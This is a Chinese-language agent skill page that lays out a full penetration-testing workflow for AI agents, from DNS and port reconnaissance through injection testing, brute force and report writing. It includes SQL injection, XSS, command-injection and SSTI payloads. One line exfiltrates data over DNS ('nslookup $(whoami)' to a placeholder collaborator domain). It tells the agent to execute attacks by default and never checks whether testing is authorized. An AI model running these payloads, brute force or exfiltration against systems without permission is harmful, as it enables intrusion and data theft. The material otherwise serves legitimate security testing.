# Pentest Task Design

> 渗透测试安全测试任务设计与执行总指导。作为渗透测试的顶层编排技能，将抽象的安全测试方法论 映射到可直接调用的工具链，定义从目标接收到报告输出的完整决策流程。覆盖侦查、爬虫、 漏洞测试、利用验证的每一步具体操作，串联 recon-planning、web-crawler、xss-testing、 sql-injection、command-injection、template-injection、code-review 等全部子技能。 当用户要求进行渗透测试、安全测试或安全评估时，应首先参考此技能进行任务设计。

- Skill: `yaklang/pentest-task-design` (Agent Skill)
- Install (CLI): `npx skillmds@latest add yaklang/pentest-task-design`
- Raw SKILL.md: https://api.skillmd.com/api/skills/yaklang/pentest-task-design/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Data & Analytics
- Author: yaklang (https://skillmd.com/u/yaklang)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/yaklang/pentest-task-design

---


# 渗透测试任务设计与执行指导

本技能是渗透测试的顶层编排指导。它将安全测试方法论与系统中可用的具体工具一一对应，
确保每一步任务设计都可直接执行。当收到渗透测试任务时，按照本指导分阶段设计和执行。

---

## 0. 核心原则

1. **侦查先行**：永远不要跳过侦查阶段。没有充分的信息收集，后续测试就是盲目的。
2. **逐步深入**：*偏好使用深度优先策略* 每个阶段的产出驱动下一阶段的输入。不要一次性执行所有测试。
3. **工具驱动**：每一步都必须映射到一个具体可调用的工具。如果没有对应的工具，则记录为手动检查项。
4. **结果记录**：每一步的发现都必须写入文件，作为后续分析和最终报告的依据。
5. **风险优先**：按照影响程度和成功概率排序测试任务，高价值目标优先。
6. **意图保真**：如果用户说的是“渗透测试”“漏洞验证”“发包探测”“复现漏洞”，默认目标是执行测试而不是只产出计划。只有当用户明确要求“任务规划”“测试计划”“方案设计”“报告整理”时，才进入纯规划模式。
7. **证据优先**：对于“执行”“验证”“复现”“确认可利用性”类任务，加载技能、阅读技能文档、直接回答文本都只能算准备动作，不算漏洞证据。SQL 注入和 XSS 至少需要真实请求、真实响应差异、浏览器执行结果或明确的阻塞原因。
8. **发现即上报留档（最高优先级，必须遵守）**：`cybersecurity-risk` 是本流程的超重要常驻上报工具。漏洞或**任何可能造成危害的安全风险**（注入、越权/IDOR、认证绕过、弱口令、危险默认配置、敏感信息泄露、可疑未授权端点等）一经一手数据确认，**第一时间**就用 `cybersecurity-risk` 落库，或把关键证据写入 output 结果文件留档（二者至少其一，大块原始流量配合 request-file/response-file）。
   - **每实例单独上报，禁止攒批**：每确认一个独立风险实例就立即上报一次，不要等当前阶段或整个测试结束再统一补录，更不要把上报拆成一个独立的“批量补录”任务。
   - **批量遍历先报首个**：IDOR 等批量 ID 枚举场景，确认首个可越权实例后先上报，再继续遍历后续 ID。
   - 上报/留档不是“流程末尾的收尾动作”，而是贯穿测试全程的随手动作。下面各 Phase 流程里写在末尾的“记录结果 / cybersecurity-risk”步骤，都应理解为“确认那一刻立即执行”，而非“攒到最后执行”。

### 0.1 模式选择规则

收到渗透测试请求时，先判断任务模式：

- **纯规划模式**：用户明确要求计划、任务清单、优先级、方案文档、报告框架。此时可以输出任务设计和执行顺序，但不得冒充“已验证漏洞”。
- **执行模式**：用户要求渗透测试、安全测试、漏洞验证、PoC、发包确认、利用复现。此时必须进入实际测试阶段，不能停留在任务清单。
- **混合模式**：用户既要计划也要验证。先做最小必要侦查和任务拆分，再进入高风险点实际验证，最后输出报告。

### 0.2 执行类任务拆分规则

当某一类漏洞目标满足以下任一条件时，必须拆分，不得用一个笼统任务覆盖：

- 目标端点超过 3 个
- 同时包含多个上下文或载体，例如 Query、Body、Cookie、Header、Path、DOM
- 同时要求“发现 + 验证 + 利用 + 汇总”

推荐拆分为以下链路：

1. 目标清单确认
2. 基线请求与参数位置确认
3. 基础探针发包
4. 上下文或注入类型确认
5. 漏洞证据固化
6. 可利用性评估与报告输出

---

## 1. 工具能力矩阵

以下是当前系统中可用于渗透测试的工具及其映射关系：

### 1.1 侦查工具

| 工具名称 | 功能 | 渗透测试用途 |
|----------|------|-------------|
| `scan_port` | 端口扫描（SYN/TCP）+ 服务指纹识别 | 发现开放端口和运行的服务 |
| `simple_crawler` | 轻量级 Web 爬虫 | 发现 URL、参数、表单、API 端点 |
| `web_search` | 互联网搜索 + 内容摘要 | 搜索目标信息、搜索引擎 Dork、搜索漏洞情报 |
| `dig` | DNS 查询 | 解析域名、发现子域名的 DNS 记录 |
| `whois` | WHOIS 查询 | 查询域名注册信息、IP 归属 |
| `tls_inspect` | TLS 检查 | 检查证书信息、TLS 配置、弱密码套件 |
| `subdomain_scan` | 子域名扫描 | 枚举目标域名下的子域名 |
| `match_fingerprint_by_packet` | HTTP 指纹匹配 | 识别 Web 框架、CMS、中间件版本 |

### 1.2 漏洞测试工具

| 工具名称 | 功能 | 渗透测试用途 |
|----------|------|-------------|
| `do_http_request` | 发送 HTTP 请求（URL 模式 + 原始数据包模式） | 注入测试、参数篡改、认证测试 |
| `send_http_request_packet` | 发送原始 HTTP 数据包 | 精确控制请求内容进行漏洞验证 |
| `brute` | 服务暴力破解 | SSH/FTP/RDP/MySQL 等服务的弱口令检测 |
| `poc_template_searcher` | 搜索 PoC 模板 | 查找已知漏洞的检测模板 |
| `call_yak_plugin` | 调用 Yak 插件 | 执行特定的漏洞检测插件 |
| `query_plugin_by_fp` | 按指纹查询插件 | 根据服务指纹匹配适用的漏洞检测插件 |

### 1.3 分析工具

| 工具名称 | 功能 | 渗透测试用途 |
|----------|------|-------------|
| `grep` | 文本搜索（子串/正则） | 在爬取结果或源码中搜索敏感模式 |
| `read_file` | 读取文件 | 查看扫描结果、爬取输出、配置文件 |
| `write_file` | 写入文件 | 保存测试结果和报告 |
| `encode` / `decode` | 编码/解码 | 构造编码后的 Payload，解码响应内容 |
| `auto_decode` | 自动解码 | 自动识别和解码未知编码 |
| `bash` | 执行 Shell 命令 | 运行系统命令辅助测试 |
| `cybersecurity-risk` | 报告安全漏洞 | 以标准格式记录发现的漏洞 |

### 1.4 子技能矩阵

| 技能名称 | 提供的知识 | 在哪个阶段使用 |
|----------|-----------|---------------|
| `recon-planning` | 侦查方法论、资产分类、OWASP Top 10 矩阵 | Phase 1-3 |
| `web-crawler` | 爬虫策略、信息提取、攻击面分析 | Phase 1 |
| `xss-testing` | XSS Payload、上下文适配、WAF 绕过 | Phase 4 |
| `sql-injection` | SQL 注入 Payload、多数据库适配、盲注技术 | Phase 4 |
| `command-injection` | 命令注入 Payload、盲注检测、编码绕过 | Phase 4 |
| `template-injection` | SSTI 引擎识别、各引擎 RCE Payload | Phase 4 |
| `code-review` | 代码审计 grep 模式、CWE 漏洞模式匹配 | Phase 4 |

---

## 2. 任务设计决策流程

当收到渗透测试任务时，按以下决策流程设计任务：

```
收到目标
  │
  ├─ 目标是域名? ──> Phase 1A: 域名侦查
  ├─ 目标是 IP?   ──> Phase 1B: IP 侦查
  ├─ 目标是 URL?  ──> Phase 1C: Web 应用侦查
  └─ 目标是源码? ──> 直接进入代码审计 (code-review)
  │
  v
Phase 1 产出: 资产清单 + 攻击面地图
  │
  v
Phase 2: 范围确定 + 优先级排序
  │
  v
Phase 3: 为每个目标生成具体测试任务列表
  │
  v
Phase 4: 逐任务执行测试
  │
  v
Phase 5: 汇总报告
```

---

## 3. Phase 1: 侦查 —— 具体执行步骤

### 3.1 目标为域名时 (Phase 1A)

按以下顺序执行侦查，每一步的产出都保存到文件：

**Step 1: DNS 信息收集**
```
工具: dig
操作: 查询目标域名的 A, AAAA, CNAME, MX, NS, TXT 记录
产出: IP 地址列表、邮件服务器、DNS 配置
保存: write_file -> recon/dns-records.md
```

**Step 2: 子域名枚举**
```
工具: subdomain_scan
操作: 对目标域名进行子域名扫描
产出: 子域名列表及其解析的 IP
保存: write_file -> recon/subdomains.md
```

**Step 3: WHOIS 查询**
```
工具: whois
操作: 查询域名和关键 IP 的注册信息
产出: 注册人、注册商、IP 归属、ASN 信息
保存: write_file -> recon/whois.md
```

**Step 4: 搜索引擎情报**
```
工具: web_search
操作: 执行搜索引擎 Dork 搜索
  - site:target.com
  - site:target.com filetype:pdf|doc|xls
  - site:target.com inurl:admin|login|api
  - "target.com" password|secret|key|token
产出: 公开暴露的敏感信息、管理后台、文档
保存: write_file -> recon/osint.md
```

**Step 5: 端口扫描**（对每个发现的 IP 执行）
```
工具: scan_port
操作: 扫描 Top 1000 端口（或全端口），启用服务识别
产出: 开放端口列表 + 服务类型 + 版本信息
保存: write_file -> recon/port-scan.md
```

**Step 6: Web 服务爬取**（对每个发现的 Web 端口执行）
```
工具: simple_crawler
操作: 爬取 Web 服务的页面
产出: URL 列表、参数、表单、JavaScript 文件列表
保存: write_file -> recon/crawler-results.md
```

**Step 7: TLS 检查**（对每个 HTTPS 服务执行）
```
工具: tls_inspect
操作: 检查 TLS 配置
产出: 证书信息（域名、过期时间）、协议版本、密码套件
保存: write_file -> recon/tls-config.md
```

**Step 8: 指纹识别**（对每个 Web 服务执行）
```
工具: do_http_request + match_fingerprint_by_packet
操作: 发送 HTTP 请求并匹配指纹
产出: Web 框架、CMS、中间件、编程语言识别
保存: write_file -> recon/fingerprints.md
```

### 3.2 目标为 IP 时 (Phase 1B)

从上面的 Step 5 开始执行（跳过 DNS 和子域名枚举）。

### 3.3 目标为 URL 时 (Phase 1C)

从上面的 Step 6 开始执行（跳过端口扫描，直接爬取已知的 Web 应用）。
同时执行 Step 7 和 Step 8。

---

## 4. Phase 2: 范围确定 —— 分析产出

读取 Phase 1 保存的所有侦查结果文件，执行以下分析：

### 4.1 资产清单构建

```
工具: read_file (读取 recon/ 目录下的所有文件)
操作: 汇总所有发现，构建结构化资产清单

资产清单格式:
- 域名/IP: xxx
  - 端口: 80 (HTTP) -> nginx 1.x
  - 端口: 443 (HTTPS) -> nginx 1.x
  - 端口: 3306 (MySQL) -> MySQL 5.7
  - Web 应用:
    - 主站: https://target.com (WordPress 5.x)
    - API: https://api.target.com (Spring Boot 2.x)
    - 管理后台: https://admin.target.com (自定义)
  - 爬虫发现:
    - URL 数量: 150
    - 带参数 URL: 45
    - 表单: 12
    - API 端点: 30

保存: write_file -> analysis/asset-inventory.md
```

### 4.2 优先级评估

根据以下规则自动评估每个资产的测试优先级：

```
Critical (立即测试):
  - 已知存在 CVE 的组件版本
  - 数据库端口直接暴露到互联网
  - 管理后台无认证或使用默认凭据

High (优先测试):
  - Web 应用带大量用户输入参数
  - API 端点 (特别是未认证的)
  - 文件上传功能
  - 搜索功能

Medium (常规测试):
  - 需要认证才能访问的功能
  - 静态内容较多但有少量动态功能的站点
  - SSH/RDP 等远程管理服务

Low (时间允许时测试):
  - 纯静态站点
  - CDN 分发的资源
  - 辅助服务(DNS, NTP)
```

### 4.3 已知漏洞速查

```
工具: poc_template_searcher / query_plugin_by_fp
操作: 对每个识别出的组件版本搜索已知 PoC
产出: 匹配的 PoC 列表
保存: write_file -> analysis/known-vulns.md
```

---

## 5. Phase 3: 任务规划 —— 生成可执行任务列表

基于 Phase 2 的分析结果，为每个高优先级目标生成具体的测试任务列表。

### 5.1 Web 应用测试任务生成规则

对于每个 Web 应用目标，按以下模板生成任务列表：

补充要求：

- 如果上层目标是执行测试，则下面的任务必须是“实际发包和验证”任务，不能退化成“制定 SQL 注入测试任务”或“制定 XSS 测试任务”这类纯文档任务。
- 如果上层目标只是任务规划，必须在任务标题或目标中明确标注“规划”或“设计”，避免后续执行器误判为已验证。
- 任何“确认漏洞存在”“确认可利用性”“输出 PoC”类任务，必须显式写入要使用的工具和成功判据。


```
目标: [URL]
技术栈: [识别出的框架/语言/中间件]
爬虫发现: [URL 数/参数数/表单数]

任务列表:

=== 高优先级 ===

1. 已知漏洞检测
   工具: call_yak_plugin / poc_template_searcher
   输入: 组件版本指纹
   技能参考: -

2. SQL 注入测试
   工具: do_http_request
   输入: 所有带参数的 URL (特别是 id, user, search, filter, sort 类参数)
   技能参考: sql-injection
   方法: 对每个参数逐个注入探针(单引号, 布尔条件, 时间延迟)

3. 命令注入测试
   工具: do_http_request
   输入: 可能触发系统命令的参数 (file, path, cmd, exec, ip, host, ping)
   技能参考: command-injection
   方法: 使用分隔符(;, |, ||, &&)和时间延迟探针

4. XSS 测试
   工具: do_http_request
   输入: 所有在响应中有反射的参数
   技能参考: xss-testing
   方法: 分层 Payload 注入, 先探测上下文再适配 Payload

5. SSTI 测试
   工具: do_http_request
   输入: 模板/渲染相关参数, 以及所有文本输入参数
   技能参考: template-injection
   方法: 通用探针 {{7*7}}, ${7*7}, <%= 7*7 %> 逐个注入

=== 中优先级 ===

6. 弱口令检测
   工具: brute
   输入: 发现的登录端口 (SSH, FTP, MySQL, RDP, Web 登录)
   技能参考: -

7. 越权测试 (IDOR)
   工具: do_http_request
   输入: 带数字 ID 参数的 API (如 /api/user/123)
   方法: 替换 ID 值, 观察能否访问其他用户数据

8. 文件上传测试
   工具: do_http_request
   输入: 发现的文件上传表单
   方法: 上传不同类型的文件, 测试文件类型校验和路径穿越

9. SSRF 测试
   工具: do_http_request
   输入: 接受 URL 参数的端点 (url=, redirect=, callback=, webhook=)
   方法: 注入内网地址和外部回调地址

=== 低优先级 ===

10. 安全 Header 检查
    工具: do_http_request
    输入: 目标 URL
    方法: 检查响应头中的安全配置
    检查项: X-Frame-Options, CSP, X-Content-Type-Options, HSTS, CORS

11. 信息泄露检查
    工具: do_http_request / web_search
    输入: 常见敏感路径 (/.git/config, /.env, /backup/, /phpinfo.php, /actuator/)
    方法: 逐个请求并检查响应状态

12. TLS 安全评估
    工具: tls_inspect
    输入: HTTPS 服务
    方法: 检查协议版本、密码套件、证书有效期
```

### 5.2 非 Web 服务测试任务

```
对于暴露的数据库服务:
  1. 弱口令检测 -> brute
  2. 未授权访问检测 -> do_http_request 或 bash

对于 SSH/RDP:
  1. 弱口令检测 -> brute
  2. 版本漏洞检查 -> poc_template_searcher

对于邮件服务:
  1. 开放中继检测 -> do_http_request 或 bash
  2. SPF/DKIM/DMARC 配置检查 -> dig (TXT 记录)
```

### 5.3 任务保存

```
工具: write_file
操作: 将完整的任务列表保存到文件
保存: write_file -> plan/test-tasks.md
```

---

## 6. Phase 4: 测试执行 —— 逐任务操作指南

### 6.1 执行总原则

```
对于任务列表中的每个任务:
  1. 读取任务描述和输入
  2. 参考对应的子技能获取 Payload 和方法
  3. 使用指定的工具执行测试
  4. 分析响应，判断是否存在漏洞
  5. 如果发现可疑点，进一步验证
  6. 记录结果 (write_file -> results/<task-name>.md)
  7. 如果确认漏洞，调用 cybersecurity-risk 工具报告
```

### 6.2 SQL 注入测试执行流程

```
输入: 参数列表 (从爬虫结果提取)

For each URL with parameters:
  Step 1: 基础探测
    工具: do_http_request
    Payload: 在参数值后添加单引号 '
    分析: 响应是否包含 SQL 错误信息
    
  Step 2: 布尔条件测试 (如果 Step 1 无明显错误)
    工具: do_http_request
    Payload A: 原始值 AND 1=1
    Payload B: 原始值 AND 1=2
    分析: 两次响应的内容或状态码是否不同
    
  Step 3: 时间延迟测试 (如果 Step 2 无差异)
    工具: do_http_request
    Payload: 原始值' AND SLEEP(5)-- 
    分析: 响应时间是否增加约 5 秒
    
  Step 4: 确认并利用 (如果任一 Step 发现异常)
    参考: sql-injection 技能中的详细 Payload
    进一步: 确定数据库类型, 尝试联合查询或报错注入提取数据
    
  Step 5: 记录结果
    工具: write_file -> results/sqli-<target>.md
    工具: cybersecurity-risk (如果确认漏洞)
```

### 6.3 XSS 测试执行流程

```
输入: 参数列表 (从爬虫结果提取)

For each URL with parameters:
  Step 1: 反射检测
    工具: do_http_request
    Payload: canary_string_12345
    分析: 响应中是否包含原样的 canary 字符串
    
  Step 2: 上下文判断 (如果 canary 被反射)
    分析响应: canary 出现在 HTML body? 属性值? script 块? URL?
    
  Step 3: 上下文适配 Payload
    参考: xss-testing 技能中的分层 Payload
    工具: do_http_request
    根据上下文选择:
      HTML body -> <script>alert(1)</script>
      属性值 -> " onfocus=alert(1) autofocus="
      script -> ";alert(1)//
      URL -> javascript:alert(1)
    
  Step 4: WAF 绕过 (如果基础 Payload 被过滤)
    参考: xss-testing 技能中的绕过策略
    工具: encode (构造编码后的 Payload)
    工具: do_http_request (发送编码后的 Payload)
    
  Step 5: 记录结果
    工具: write_file -> results/xss-<target>.md
    工具: cybersecurity-risk (如果确认漏洞)
```

### 6.4 命令注入测试执行流程

```
输入: 可能触发系统命令的参数

For each suspected parameter:
  Step 1: 基础分隔符探测
    工具: do_http_request
    Payload: 原始值;id / 原始值|id / 原始值$(id)
    分析: 响应中是否包含命令执行输出 (uid=, gid=)
    
  Step 2: 时间延迟盲注 (如果 Step 1 无回显)
    工具: do_http_request
    Payload: 原始值;sleep 10 / 原始值|sleep 10
    分析: 响应时间是否增加约 10 秒
    
  Step 3: DNS 外带 (如果时间延迟不确定)
    工具: do_http_request
    Payload: 原始值;nslookup $(whoami).YOUR-COLLAB-DOMAIN
    分析: 是否收到 DNS 查询
    
  Step 4: 绕过 (如果基础 Payload 被过滤)
    参考: command-injection 技能中的绕过策略
    
  Step 5: 记录结果
    工具: write_file -> results/cmdi-<target>.md
    工具: cybersecurity-risk (如果确认漏洞)
```

### 6.5 SSTI 测试执行流程

```
输入: 所有文本输入参数

For each parameter:
  Step 1: 通用探针注入
    工具: do_http_request
    Payload 序列: {{7*7}}, ${7*7}, #{7*7}, <%= 7*7 %>
    分析: 响应中是否出现 49
    
  Step 2: 引擎识别 (如果 Step 1 有响应)
    参考: template-injection 技能中的引擎识别决策树
    进一步注入: {{7*'7'}}, ${7*'7'} 等区分具体引擎
    
  Step 3: RCE 验证
    参考: template-injection 技能中对应引擎的 RCE Payload
    工具: do_http_request
    
  Step 4: 记录结果
    工具: write_file -> results/ssti-<target>.md
    工具: cybersecurity-risk (如果确认漏洞)
```

### 6.6 弱口令测试执行流程

```
输入: 发现的登录服务

For each login service:
  Step 1: 识别服务类型和端口
  
  Step 2: 执行暴力破解
    工具: brute
    参数: 目标 IP, 端口, 服务类型
    字典: 使用内置常见用户名/密码字典
    
  Step 3: 记录结果
    工具: write_file -> results/brute-<target>.md
    工具: cybersecurity-risk (如果发现弱口令)
```

---

## 7. Phase 5: 报告输出

### 7.1 报告生成流程

```
Step 1: 读取所有结果文件
  工具: read_file (读取 results/ 目录下所有文件)

Step 2: 汇总发现
  将所有确认的漏洞按严重程度排序

Step 3: 生成报告
  工具: write_file -> report/pentest-report.md
  
报告结构:
  1. 执行摘要
     - 测试时间范围
     - 测试目标
     - 发现汇总 (Critical/High/Medium/Low/Info 各多少)
     
  2. 目标概况
     - 资产清单
     - 技术栈信息
     - 攻击面描述
     
  3. 漏洞详情 (按严重程度排序)
     For each vulnerability:
       - 标题
       - 严重程度 + CVSS + CWE
       - 漏洞描述
       - 影响分析
       - 重现步骤 (请求/响应)
       - 修复建议
       
  4. 安全建议
     - 整体安全评估
     - 改进优先级建议
     
  5. 附录
     - 测试工具列表
     - 完整的测试日志引用
```

### 7.2 漏洞严重程度判定参考

| 发现 | 严重程度 | 理由 |
|------|---------|------|
| RCE（命令注入/SSTI 到命令执行） | Critical | 可完全控制服务器 |
| SQL 注入（可读写数据） | Critical | 可获取/篡改全部数据 |
| SQL 注入（只读） | High | 可获取敏感数据 |
| 任意文件读取 | High | 可读取敏感配置和源码 |
| 存储型 XSS | Medium | 可影响其他用户 |
| SSRF（可访问内网） | High | 可探测和攻击内网服务 |
| SSRF（受限） | Medium | 影响有限 |
| CSRF（关键操作） | Medium | 可冒充用户操作 |
| IDOR（敏感数据） | High | 可访问其他用户敏感数据 |
| IDOR（非敏感数据） | Medium | 可访问其他用户非敏感数据 |
| 反射型 XSS | Low-Medium | 需要用户交互 |
| 弱口令 | High | 可直接获取访问权限 |
| 信息泄露（源码/配置） | Medium | 辅助进一步攻击 |
| 信息泄露（版本号） | Info | 辅助信息 |
| 缺少安全 Header | Info | 安全加固建议 |
| TLS 弱配置 | Low | 理论上可降级攻击 |

---

## 8. 常见场景快速参考

### 8.1 场景: "帮我测试 example.com 的安全性"

```
执行计划:
1. dig example.com (DNS)
2. whois example.com
3. subdomain_scan example.com
4. web_search "site:example.com"
5. scan_port <resolved IPs>
6. simple_crawler https://example.com
7. tls_inspect example.com:443
8. 分析结果, 生成任务列表
9. 逐任务执行测试
10. 生成报告
```

### 8.2 场景: "测试这个 API 有没有 SQL 注入"

```
执行计划:
1. do_http_request (发送正常请求, 确认基线响应)
2. do_http_request (添加单引号探针)
3. do_http_request (布尔条件 AND 1=1 vs AND 1=2)
4. do_http_request (时间延迟 SLEEP(5))
5. 根据结果参考 sql-injection 技能深入测试
6. 记录结果
```

### 8.3 场景: "扫描这个 IP 段的安全风险"

```
执行计划:
1. scan_port <IP range> (端口扫描 + 服务识别)
2. 对发现的 Web 服务: simple_crawler
3. 对发现的服务: query_plugin_by_fp / poc_template_searcher
4. 对发现的登录服务: brute
5. 汇总风险报告
```

### 8.4 场景: "审计这个项目的源代码安全性"

```
执行计划:
1. tree (了解项目结构)
2. 参考 code-review 技能, 按漏洞类型分阶段 grep
3. read_file (对每个命中点读取上下文验证)
4. 汇总审计报告
```

---

## 9. 文件组织规范

测试过程中所有产出应按以下目录结构组织：

```
<工作目录/ArtifactsDir>/
  recon/                    # Phase 1 侦查结果
    dns-records.md
    subdomains.md
    whois.md
    osint.md
    port-scan.md
    crawler-results.md
    tls-config.md
    fingerprints.md
  analysis/                 # Phase 2 分析结果
    asset-inventory.md
    known-vulns.md
  plan/                     # Phase 3 任务计划
    test-tasks.md
  results/                  # Phase 4 测试结果
    sqli-target1.md
    xss-target1.md
    cmdi-target1.md
    ssti-target1.md
    brute-target1.md
    ...
  report/                   # Phase 5 最终报告
    pentest-report.md
```

---

## 10. 执行检查清单

### 侦查阶段
- [ ] DNS 记录收集完成
- [ ] 子域名枚举完成
- [ ] WHOIS 信息收集完成
- [ ] 搜索引擎情报收集完成
- [ ] 端口扫描完成
- [ ] Web 爬虫扫描完成
- [ ] TLS 配置检查完成
- [ ] 服务指纹识别完成

### 分析阶段
- [ ] 资产清单构建完成
- [ ] 优先级评估完成
- [ ] 已知漏洞速查完成

### 规划阶段
- [ ] 测试任务列表生成完成
- [ ] 任务优先级排序完成

### 测试阶段
- [ ] SQL 注入测试完成
- [ ] XSS 测试完成
- [ ] 命令注入测试完成
- [ ] SSTI 测试完成
- [ ] 弱口令检测完成
- [ ] 越权测试完成
- [ ] SSRF 测试完成
- [ ] 文件上传测试完成
- [ ] 信息泄露检查完成
- [ ] 安全配置检查完成

### 报告阶段
- [ ] 所有发现已记录
- [ ] 漏洞严重程度已评估
- [ ] 修复建议已提供
- [ ] 最终报告已生成